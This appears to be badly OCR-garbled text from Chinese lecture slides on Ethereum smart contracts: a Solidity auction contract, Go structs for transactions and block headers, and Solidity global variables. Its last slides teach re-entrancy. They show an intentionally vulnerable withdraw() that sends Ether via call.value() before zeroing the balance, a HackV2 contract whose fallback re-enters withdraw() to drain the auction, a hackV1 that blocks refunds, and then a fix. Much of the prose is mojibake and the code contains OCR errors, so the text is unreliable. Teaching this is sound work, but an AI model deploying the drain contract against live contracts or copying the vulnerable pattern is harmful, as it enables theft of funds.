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| pragma solidity "0.4.21; | 7= B4 F solidity Fr i 4s

contract SimpleAuction {

address public beneficiary; VKB4 UN
uint public auctionEnd; /&5 BT qji;tczgféii
address public highestBidder; - //4#0 [ HAT A ©

mapping(address => uint) bids; - //FTA &N
address[] bidders; /AT e

[/ T E R E A
event HighestBidIncreased(address bidder, uint amount); N
event Pay2Beneficiary(address winner, uint amount); k)g1£1§§:

/// Uiz # il  beneficiary™ 1% X,

/17 BIE— RS, SRRy _biddingTime™ ).

constructor(uint _biddingTime, address _beneficiary
) public {

beneficiary = _beneficiary; *@ﬁ%@iﬁ’ 1&&%2@@”@Hﬁiﬁ)ﬂ_‘ﬁ\

auctionEnd = now + biddingTime;

}

/1 FHEAT Y, RS RIS ether S Z AT C 4 KILH
/11 - etherfIFUAA IR B
+ function bid() public payable {--

}

/// f FHwithdrawfizt S — o ™ SN N
171 R R EE T F T BRI, AT DA — AN SRR Bl 2 I -
+ function withdraw() public returns (bool) {--

}

/11 SRAEE, RSN RIS Za A
+ function pay2Beneficiary() public returns (bool) {---
h
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ek TX Ox73275297b391f3e08blcc7144d7ab5fcf77fecee92b46ca9ec2946f56ebf8ea2

| SENDER ADDRESS

0x903dbOEbD4206669Ab50BCF93c550df9b5Dal78¢

VALUE
0.00 ETH

TX DATA
0x2a24t46C

GAS USED
21657

TO CONTRACT ADDRESS

GAS PRICE

Ox5E31d519A6F34d224C25B706687EE2AbF170B888

GAS LIMIT MINED IN BLOCK

1000000000 6000000 3



— G2,

1. B
. ContgigﬁtﬂngCallFoo(strirg str); > ﬁﬂ%f?ﬂffi&a fOO )i_%% EHTMH:II%:H:

1= 152 BRI ?

S

4
5~ function foo(string str) returns (uint){
g emi‘t LoiggllFoo(str‘); Tﬁ%y I}_“JCa”AFOOD|reCt|ymEI:MIEH%ﬁ
return 5 N
8 } } WQ’ ztﬂlﬂﬁﬁé_{{ H f%(
9
10
11 ~ contract B { N — -
12 uint ua; > ua A Ta.foo(“call foo directly”)
13 ~ function callAFooDirectly(address addr) public{ v
14 A a = A(addr); EI,(J = /fE:
15 ua = a.foo("call foo directly");
16 }
17 } Y IAT= =1 >
> Al LLd . gas() A .value() P42
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contract C {

% FHaddressZR 7 [ call()

PR %L

function callAFooByCall(address addr) public returns (bool){

bytesd funcsig =

if (addr.call(funcsig,”call foo by func call"))
return true;

return false;

}
}
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bytesd4(keccak256("foo(string)™));
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| pragma solidity "0.4.21; | 7= B4 F solidity Fr i 4s

contract SimpleAuction {

address public beneficiary; VKB4 UN
uint public auctionEnd; /&5 BT qji;tczgféii
address public highestBidder; - //4#0 [ HAT A ©

mapping(address => uint) bids; - //FTA &N
address[] bidders; /AT e

[/ T E R E A
event HighestBidIncreased(address bidder, uint amount); N
event Pay2Beneficiary(address winner, uint amount); k)g1£1§§:

/// Uiz # il  beneficiary™ 1% X,

/17 BIE— RS, SRRy _biddingTime™ ).

constructor(uint _biddingTime, address _beneficiary
) public {

beneficiary = _beneficiary; *@ﬁ%@iﬁ’ 1&&%2@@”@Hﬁiﬁ)ﬂ_‘ﬁ\

auctionEnd = now + biddingTime;

}

/1 FHEAT Y, RS RIS ether S Z AT C 4 KILH
/11 - etherfIFUAA IR B
+ function bid() public payable {--

}

/// f FHwithdrawfizt S — o ™ SN N
171 R R EE T F T BRI, AT DA — AN SRR Bl 2 I -
+ function withdraw() public returns (bool) {--

}

/11 SRAEE, RSN RIS Za A
+ function pay2Beneficiary() public returns (bool) {---
h
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|  SENDER ADDRESS TO CONTRACT ADDRESS
0x903dbOEbD4206669AbD50BCF93¢c550df9b5Dal78¢ Ox5E31d519A6F34d224C25B706687EE2AbF170B888
VALUE GAS USED GAS PRICE GAS LIMIT MINED IN BLOCK
0.00 ETH 21657 1000000000 6000000 3

TX DATA
0x2a24t46C
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> FEEE 2172 Turing-complete Programming Model
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type txdata struct {

AccountNonce uinté4d “Json:”
Price *big.Int “Json:”
GasLimit uinted "Json:"
Recipient *common.Address “json:

Amount *big.Int “Json:”
Payload [ ]byte “json:"

> EVM AN [F] 38 2 TH RERIVR M B e AN —FEH

« LTRSS RMEH,

LB 5%

nonce"”
gasPrice”
gasII

IItD'r

value"
input"

gencodec:"
gencodec:
gencodec:”
rlp: ' nil"”
gencodec:
gencodec: "

KA F1 IR SCAS

required”’

"required”

reguired™’

f/-nil means contract creation

"required”

required"’
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* assert(bool condition): 715 S5 AN 2 Wi il HE — F T~ P E A v

* require(bool condition): Ul R 25 AN 2 Pt 4 — A T Fa N\ B 7058
H A 5| R

function bid() public payable {

F

=y

require(now <= auctionEnd);

e revert(): & ILIB 1T IR EIRIRZS D)
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ock Header

// Header represents a block header in the Ethereum blockchain.

type Header struct {
ParentHash
UncleHash
Coinbase
Root
TxHash
ReceiptHash
Bloom
Difficulty
Number
GasLimit
GasUsed
Time
Extra
MixDigest
Nonce

common.Hash

common.Hash

“json:"parentHash"
“json:"sha3uncles”

common.Address ~json:"miner"

common.Hash
common.Hash
common.Hash
Bloom
*big.Int
*big.Int
uinte4
uinte4
*big.Int
[]byte
common.Hash
BlockNonce

“json:"stateRoot”

“json:"transactionsRoot”

“json:"receiptsRoot”
“json:"logsBloom"
“json:"difficulty”
“json:"number”
“json:"gasLimit”
“json:"gasUsed"
“json:"timestamp”

" json:"extraData"
“json:"mixHash"

“json:"nonce"

gencodec:"required””
gencodec:"required"”
gencodec:"required"”
gencodec: "required””
gencodec: "required"””
gencodec: "required"”
gencodec: "required"”
gencodec:"required"”
gencodec: "required"”
gencodec: "required"”
gencodec: "required"”
gencodec: "required"”
gencodec: "required"”
gencodec: "required"”
gencodec: "required"”




Receipt 245 45 1)

45  // Receipt represents the results of a transaction.

46 type Receipt struct {

47 // Consensus fields

A8 PostState []byte "json:"root™"

49 Status uint64 ~json:"status™

50 CumulativeGasUsed uinté64 ~json:"cumulativeGasUsed" gencodec:"required"”

51 Bloom Bloom ~json:"logsBloom" gencodec: "required””

52 Logs []*Log ~json:"logs" gencodec: "required"”

53

54 // Implementation fields (don't reorder!)

55 TxHash common.Hash “json:"transactionHash” gencodec:"required"”
56 ContractAddress common.Address ~json:"contractAddress"’

57 GasUsed uint64 “json:"gasUsed"” gencodec:"required””
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// Header represents a block header in the Ethereum blockchain.

type Header struct {
ParentHash
UncleHash
Coinbase
Root
TxHash
ReceiptHash
Bloom
Difficulty
Number
GasLimit
GasUsed
Time
Extra
MixDigest

Nonce

common.Hash

common.Hash

“json:"parentHash”

“json:"sha3uncles™

common.Address ~json:"miner"

common.Hash
common.Hash
common.Hash
Bloom
*big.Int
*big.Int
uinte4
uinte4
*big.Int
[Ibyte
common.Hash
BlockNonce

“json:"stateRoot"

“json:"transactionsRoot”

“json:"receiptsRoot™
“json:"logsBloom"
“json:"difficulty”
“json:"number”
“json:"gasLimit”
“json:"gasUsed"

“json:"timestamp’
“json:"extraData"
“json:"mixHash"

“json:"nonce"

gencodec:"required””
gencodec: "required””
gencodec:"required"”
gencodec: "required"””
gencodec: "required"”
gencodec: "required””
gencodec: "required"”
gencodec:"required"”
gencodec:"required"”
gencodec: "required"”
gencodec: "required"”
gencodec: "required"”
gencodec:"required"”
gencodec:"required"”
gencodec: "required"”
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block.blockhash(uint blockNumber) returns (bytes32) : Z25TEXIRAINISE —{NXT
FIAHY 256 PMXREWMARIEZRIXIR

block.coinbase ( address ): 2 UBIX LRI Titbiit

block.difficulty ( uint ); BIXIAMEE

block.gaslimit ( uint ): ZEIXIR gas fREN

block.number ( uint ): HEIXIRE

block.timestamp ( uint ) E unix epoch ﬁ_ﬂ"*éﬁuI:i)&L)j"‘L'i'E]’SJE‘J*IEﬂ@Z
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I

msg.data ( bytes ): TozZHY calldata

msg.gas ( uint ): R gas

nsg.sender ( address ) ;BEAREE (ZRIER)

msg.sig ( bytesa ): calldata B98I 4 7 (B EREHFRET)
msg.value (uint ): fEIHREAIZER wei BIEE

now (uint ): EIBUXIRATEIR, ( block.timestamp )

tx.gasprice ( uint ): 3X5HY gas 1§

tx.origin ( address ): 2P KiLE (FTEHIEFE)
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<address>.balance ( uint256 k
LA Wei (AT HhHESEEY AYRER,

<address>.transfer(uint256 amount) .
[[] HUAEEEAY RIXEE /T amount AY Wei, KEETHHRE, &ix 2300
gas BYf L&, AafETo.,

<address>.send(uint256 amount) returns (bool) :
[[] HBHESEAY RIXELE /T amount AY Wei, KIBETIR[E] fa1se , &IX 2300
gas A T2, AAET.

<address>.call(...) returns (bool) :

KERE cal , KWENHRE] faise , KXFABERH gas, AAJET.

<address>.callcode(...) returns (bool) .

KHERE calicooe , KMANHRE] faise , RIXFFERIH gas, AaliET,

<address>.delegatecall(...) returns (bool) :
EHIERE peLecatecail , KMETIRE] false , AREFFEEIH gas, A~8]1F
oo
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» <address>.transfer(uint256 amount)
» <address>.send(uint256 amount) returns (bool)

» <address>.call.value(uint256 amount)()
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1 pragma solidity "@.4.21;

2

3 + contract SimpleAuctionVl {

4 address public beneficiary; [/ 2| A

5 uint public auctionEnd; [ /45 A [

6 address public highestBidder;  // 90l (174 &y tHiF A

7 mapping(address => uint) bids; //Wrf sz a0 i

8 address[] bidders; [/ HT 4 54

9 bool ended; /14 245 0 G i Ntrue

10

11 /] T EL R A

12 event HighestBidIncreased(address bidder, uint amount);
13 event AuctionEnded(address winner, uint amount);

14

15 /1] CLazdi A Huhk T _beneficiary” 1% .

16 /] B AN R e, 0 2if Ay T _biddingTime™ Fb.
17 ~ constructor(uint _biddingTime,address _beneficiary) public {
18 beneficiary = _beneficiary;

19 auctionEnd = now + _biddingTime;

20 }



/11 ASEAT H . PR /1] SERAASE, BRI NRELZEA,

. 2, x
function bid() public payable { function auctionEnd() public {
/7 Tl bR TR, X BT payable f&4 4. Fion auction
require(now > auctionEnd);
/1 FEEAREGR /% % H o A
require(now <= auctionEnd); require(!ended);
/1R AE G, AR ERL BRI R
require(bids[msg.sender]+msg.value > bids[highestBidder]); /B EERRMRIELEZEA
beneficiary.transfer(bids[highestBidder]);
[ AR IE N ZHiA . I B 5E A1 A R for (uint i = @; i<bidders.length;i++){
1f (!(bids[msg_sender] == uint(a))) @ address bidder = bidders[i];
bidders.push(msg.sender); if (bidder == highestBidder) continue;

bidder.transfer(bids[bidder]);

¥
AU B S AT e . BUARZ }
highestBidder = msg.sender;
bids[msg.sender] += msg.value;
emit HighestBidIncreased(msg.sender, bids[msg.sender]);

ended = true;
emit AuctionEnded(highestBidder, bids[highestBidder]);




/1) SRR, EmEH i KL Za A,
/17 FFAERFERE) B ERIR T

[
w

1 pragma solidity "@.4.21; function auctionEnd() public {

2 - //HEEC#EE

3 import "./SimpleAuctionVi.sol"; § require(now > auctionEnd);

4 ARk A M

5 =~ contract hackVvl { require(!ended);

6

7~ function hack_bid(address addr) payable public { - //EEEBET RIS ZEA

8 ' SimpleAuctionVl sa = SimpleAuctionVi(addr); ~_beneficiary.transfer(bids[highestBidder]);

9 E sa.bid.value(msg.value)(); § for (uint i = @; i<bidders.length;i++){
10 } ; | address bidder = bidders[i];
11 ; § if (bidder == highestBidder) continue;
12} ; § bidder.transfer(bids[bidder]);

E }

ended = true;
emit AuctionEnded(highestBidder, bids[highestBidder]);
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function withdraw() publlc returns
VAR EEARE s
requ1re(now > auctlonEnd),

.-' I-’ b J | L _.-_ ..-< -: 2 _,_ . :.- :ll.\ .

requ1re(msg sender'-hlghestBldder},

/.  Hb ik T HY
requ1re(b1ds[msg.sender] > 8);

uint amount = bids[msg.sender];
if (msg.sender.call.value(amount)()) {

bids[msg.sender] = 8;
return true;

}

return false;

PR

EI=IQE

i
-

54 event Pay28enef1c1ary(address w1nner uint amount);
. I 55 [/ R, Emm I R IE S A2 A
(bool) { 56 - Functlan payZBeneF1c1ary() public Peturns (bool) {

57 JEEiEYat:dlx

58 requ1re(now > auctlonEnd),

60 requ1re(blds[hlghestBldder] > 9)

6l

62 uint amount = bids[highestBidder];

63 bids[highestBidder] = ©;

64 emit Pay2Beneficiary(highestBidder, bids[highestBidder]);

65

66 ~ if (!beneficiary.call.value(amount)()) {

67 bids[highestBidder] = amount;

68 return false;

69 }

70 return true;

71 }

Ry
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i NI (Re-entrancy Attack)

> A A K WRIETHIE AR TR A B2, & SZZ 347 fallback() BRI %K

> il iJaddr.send(). addr.transfer(). addr.call.value()() =Fi 5 AT 4k H <=
ﬁﬁﬁaddrgi B@fa”baCk@i&o pragma solidity "©.4.21;

> fa”baCk()]ZIi& EEI)EHF E E‘%g import "./SimpleAuctionV2.sol";
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/// {f Hlwithdraw®

I | J ] L
function withdraw
require(now >

5, H Jld LJ 5

require(msg.sender!=highestBidder);

-

() public.FetﬁFHs Ebéol) {

auctionEnd);

HY

Féquiﬁé(biasthéglsender] > 0);

uint amount =

if (msg.sender.call.value(amount)()) {

bids[msg.sender];

bids[msg.sender] = ©;
return true;

¥

return false;

contract HackV2 {
uint stack = 9;

function hack_bid(address addr) payable public {
SimpleAuctionV2 sa = SimpleAuctionV2(addr);
sa.bid.value(msg.value)();

}

function hack_withdraw(address addr) public payable{

}

SimpleAuctionV2(addr).withdraw();

function() public payable{
stack += 2;

}

if (msg.sender.balance >= msg.value && msg.gas > 6080 && stack < 500){

}

SimpleAuctionV2(msg.sender).withdraw();
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/717 18 Fwithdrawhi /17 Hlwithdrawfi A y
/17 HIEERR L CHE Y, IR [ 7 /1] BBARE B O Y, R R )
function withdraw() public returns (bool) { F”"ijogaggggggig() public returns (bool) {
/7 mECEIE e .
) . d);
require(now > auctionEnd); rquire(now >=?UCtl°?En e
/7 SRR T B R 25N, A AT [
. . . require(msg.sender!=highestBidder);
r'equ:l.r‘e(msg.seryder‘!:h:.ghestB:.dder); /7 s b b A7 % AT B
/7 ﬁﬁﬁ“f@¥¢¥?%ﬁﬁTﬂi require(bids[msg.sender] > 8);
require(bids[msg.sender] > 8);
int t = bid . d 3
uint amount = bids[msg.sender]; :;:s[zzz?gendep? :[Eig sender]
if| (msg.sender.call.value(amount)()) { | if| (!msg.sender.send(amount)) {
bids[msg.sender] = 9; bids[msg.sender] = amount;
return true; return true;
Y }

return ftalse; FetUrn Talse;



